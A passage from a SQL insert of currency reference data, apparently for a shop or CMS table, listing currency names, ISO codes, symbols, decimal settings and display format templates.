0, '0000-00-00 00:00:00', 0), (28, 1, 'Unidad de Fomento', '', 'CLF', 990, 0, 'CLF', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 'Chilean peso', '', 'CLP', 152, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 'Chinese renminbi yuan', '', 'CNY', 156, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 'Colombian peso', '', 'COP', 170, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 'Costa Rican colón', '', 'CRC', 188, 0, '₡', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 'Czech koruna', '', 'CZK', 203, 0, 'Kč', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 'Cuban peso', '', 'CUP', 192, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 'Cape Verdean escudo', '', 'CVE', 132, 0, '$', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 'Danish krone', '', 'DKK', 208, 0, 'kr', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 'Dominican peso', '', 'DOP', 214, 0, 'RD$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 'Algerian dinar', '', 'DZD', 12, 0, 'د.ج', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 'Egyptian pound', '', 'EGP', 818, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 'Ethiopian birr', '', 'ETB', 230, 0, 'ETB', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 'Euro', '', 'EUR', 978, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 'Fijian dollar', '', 'FJD', 242, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 'Falkland pound', '', 'FKP', 238, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 'British pound', '', 'GBP', 826, 0, '£', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 'Gibraltar pound', '', 'GIP', 292, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 'Gambian dalasi', '', 'GMD', 270, 0, 'D', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 'Guinean franc', '', 'GNF', 324, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 'Guatemalan quetzal', '', 'GTQ', 320, 0, 'Q', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 'Guyanese dollar', '', 'GYD', 328, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 'Hong Kong dollar', '', 'HKD', 344, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 'Honduran lempira', '', 'HNL', 340, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 'Haitian gourde', '', 'HTG', 332, 0, 'G', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 'Hungarian forint', '', 'HUF', 348, 0, 'Ft', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 'Indonesian rupiah', '', 'IDR', 360, 0, 'Rp', '0', '', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 'Israeli new sheqel', '', 'ILS', 376, 0, '₪', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 'Indian rupee', '', 'INR', 356, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 'Iraqi dinar', '', 'IQD', 368, 0, 'ع.د', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 'Iranian rial', '', 'IRR', 364, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number}{symb0l}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 'Jamaican dollar', '', 'JMD', 388, 0, 'J$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 'Jordanian dinar', '', 'JOD', 400, 0, 'د.ا', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 'Japanese yen', '', 'JPY', 392, 0, '¥', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 'Kenyan shilling', '', 'KES', 404, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 'Cambodian riel', '', 'KHR', 116, 0, '៛', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 'Comorian franc', '', 'KMF', 174, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 'North Korean won', '', 'KPW', 408, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 'South Korean won', '', 'KRW', 410, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 'Kuwaiti dinar', '', 'KWD', 414, 0, 'د.ك', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 'Cayman Islands dollar', '', 'KYD', 136, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 'Lao kip', '', 'LAK', 418, 0, '₭', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 'Lebanese pound', '', 'LBP', 422, 0, '£', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 'Sri Lankan rupee', '', 'LKR', 144, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 'Liberian dollar', '', 'LRD', 430, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 'Lesotho loti', '', 'LSL', 426, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 'Libyan dinar', '', 'LYD', 434, 0, 'ل.د', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 'Moroccan dirham', '', 'MAD', 504, 0, 'د.م.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 'Mongolian tögrög', '', 'MNT', 496, 0, '₮', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 'Macanese pataca', '', 'MOP', 446, 0, 'P', '1', ',', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 'Mauritanian ouguiya', '', 'MRO', 478, 0, 'UM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 'Mauritian rupee', '', 'MUR', 480, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 'Maldivian rufiyaa', '', 'MVR', 462, 0, 'ރ.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 'Malawian kwacha', '', 'MWK', 454, 0, 'MK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 'Malaysian ringgit', '', 'MYR', 458, 0, 'RM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 'Nigerian naira', '', 'NGN', 566, 0, '₦', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 'Norwegian krone', '', 'NOK', 578, 0, 'kr', '2', ',', ' ', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 'Nepalese rupee', '', 'NPR', 524, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 'New Zealand dollar', '', 'NZD', 554, 0, '$', '2', ',', '', '{number} {symbol}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 'Omani rial', '', 'OMR', 512, 0, '﷼', '3', '.', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 'Panamanian balboa', '', 'PAB', 590, 0, 'B/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 'Peruvian nuevo sol', '', 'PEN', 604, 0, 'S/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 'Papua New Guinean kina', '', 'PGK', 598, 0, 'K', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 'Philippine peso', '', 'PHP', 608, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 'Pakistani rupee', '', 'PKR', 586, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 'Polish Złoty', '', 'PLN', 985, 0, 'zł', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 'Paraguayan guaraní', '', 'PYG', 600, 0, '₲', '0', '', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 'Qatari riyal', '', 'QAR', 634, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 'Romanian leu', '', 'RON', 946, 0, 'lei', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 'Rwandan franc', '', 'RWF', 646, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 'Saudi riyal', '', 'SAR', 682, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 'Solomon Islands dollar', '', 'SBD', 90, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 'Seychellois rupee', '', 'SCR', 690, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 'Swedish krona', '', 'SEK', 752, 0, 'kr', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 'Singapore dollar', '', 'SGD', 702, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 'Saint Helenian pound', '', 'SHP', 654, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 'Sierra Leonean leone', '', 'SLL', 694, 0, 'Le', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 'Somali shilling', '', 'SOS', 706, 0, 'S', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 'São Tomé and Príncipe dobra', '', 'STD', 678, 0, 'Db', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 'Russian ruble', '', 'RUB', 643, 0, 'руб', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 'Salvadoran colón', '', 'SVC', 222, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 'Syrian pound', '', 'SYP', 760, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 'Swazi lilangeni', '', 'SZL', 748, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 'Thai baht', '', 'THB', 764, 0, '฿', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 'Tunisian dinar', '', 'TND', 788, 0, 'د.ت', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 'Tongan paʻanga', '', 'TOP', 776, 0, 'T$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 'Turkish new lira', '', 'TRY', 949, 0, 'YTL', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 'Trinidad and Tobago dollar', '', 'TTD', 780, 0, 'TT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 'New Taiwan dollar', '', 'TWD', 901, 0, 'NT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 'Tanzanian shilling', '', 'TZS', 834, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 'United States dollar', '', 'USD', 840, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 'Vietnamese Dong', '', 'VND', 704, 0, '₫', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 'Vanuatu vatu', '', 'VUV', 548, 0, 'Vt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 'Samoan tala', '', 'WST', 882, 0, 'T', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 'Yemeni rial', '', 'YER', 886, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 'Serbian dinar', '', 'RSD', 941, 0, 'Дин.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 'South African rand', '', 'ZAR', 710, 0, 'R', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 'Zambian kwacha', '', 'ZMK', 894, 0, 'ZK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 'Zimbabwean dollar', '', 'ZWD', 932, 0, 'Z$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 'Armenian dram', '', 'AMD', 51, 0, 'դր.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 'Myanmar kyat', '', 'MMK', 104, 0, 'K', '2', ',', '', '{number} {symbol}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 'Croatian kuna', '', 'HRK', 191, 0, 'kn', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 'Eritrean nakfa', '', 'ERN', 232, 0, 'Nfk', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 'Djiboutian franc', '', 'DJF', 262, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 'Icelandic króna', '', 'ISK', 352, 0, 'kr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 'Kazakhstani tenge', '', 'KZT', 398, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 'Kyrgyzstani som', '', 'KGS', 417, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 'Latvian lats', '', 'LVL', 428, 0, 'Ls', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 'Lithuanian litas', '', 'LTL', 440, 0, 'Lt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 'Mexican peso', '', 'MXN', 484, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 'Moldovan leu', '', 'MDL', 498, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 'Namibian dollar', '', 'NAD', 516, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 'Nicaraguan córdoba', '', 'NIO', 558, 0, 'C$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 'Ugandan shilling', '', 'UGX', 800, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 'Macedonian denar', '', 'MKD', 807, 0, 'ден', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 'Uruguayan peso', '', 'UYU', 858, 0, '$', '0', '', '', '{symbol}number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 'Uzbekistani som', '', 'UZS', 860, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 'Azerbaijani manat', '', 'AZN', 934, 0, 'ман', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 